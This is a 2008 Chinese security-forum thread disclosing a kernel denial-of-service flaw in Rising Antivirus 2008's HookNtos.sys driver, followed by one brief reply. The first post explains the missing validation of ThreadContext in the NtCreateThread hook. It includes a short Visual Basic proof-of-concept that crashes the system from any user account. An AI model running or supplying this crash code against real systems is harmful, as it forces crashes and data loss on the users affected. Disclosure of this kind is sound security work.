微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: 【iceboy】瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务 ...
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#1  【iceboy】瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞

瑞星杀毒软件 2008 (以下简称瑞星) 是一款号称基于新一代虚拟机脱壳引擎、采用三层主动防御策略开发的新一代信息安全产品。

令人遗憾的是, 其最新版本 20.64.30 及以下所有版本的驱动程序中存在多处内核拒绝服务漏洞, 可使任何权限用户在安装了瑞星杀毒软件 2008 的系统上引发蓝屏。

出问题的组件: HookNtos.sys 版本 22.0.0.50 CheckSum=0001A3C5 TimeStamp=4886D5D8

瑞星在对 SSDT HOOK 时, 存在多处参数检查不全面, 用户态传入无效地址即可导致驱动出错, 引发系统崩溃, 蓝屏重启。

示例函数: NtCreateThread

函数 NtCreateThread 的原型是:

NTSTATUS
NtCreateThread(
    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN HANDLE ProcessHandle,
    OUT PCLIENT_ID ClientId,
    IN PCONTEXT ThreadContext,
    IN PUSER_STACK UserStack,
    IN BOOLEAN CreateSuspended
    )

瑞星在其 Hook 函数中, 没有任何检查地使用了 ThreadContext->Eip, 这样, 如果我们传入一个错误 ThreadContext 地址, 就会引发崩溃, 蓝屏重启.

值得注意的是, 瑞星在使用 ThreadContext->Eip 之前, 判断了 ProcessHandle 有效且不指向当前进程, 故我们需要传入一个合法的其它进程的句柄.

测试代码:

Declare Function OpenProcess Lib "kernel32" (ByVal a As Long, ByVal b As Long, ByVal c As Long) As Long
Declare Function ZwCreateThread Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long, ByVal h As Long) As Long

Sub Main()
    MsgBox "瑞星杀毒软件 2008 内核漏洞演示 by iceboy"
    ZwCreateThread 0, 0, 0, OpenProcess(1024, 0, Shell("notepad.exe")), 0, 0, 0, 0
End Sub

用户态任意权限的程序运行此代码后, 即可引发系统蓝屏重启

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2008-10-3 23:46
查看资料  发送邮件  访问主页  发短消息   编辑帖子
lotei
版主

病毒区地方父母官


积分 776
发帖 775
注册 2006-10-14
来自 被人们遗忘了的村庄
#2  

看来瑞星的研发对ROOTKIT的编写也很初步!

※ ※ ※ 本文纯属【lotei】个人意见,与【 微点交流论坛 】立场无关※ ※ ※


让自己更加睿智,其实看透了!你就放下了!
2008-10-3 23:49
查看资料  发送邮件  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号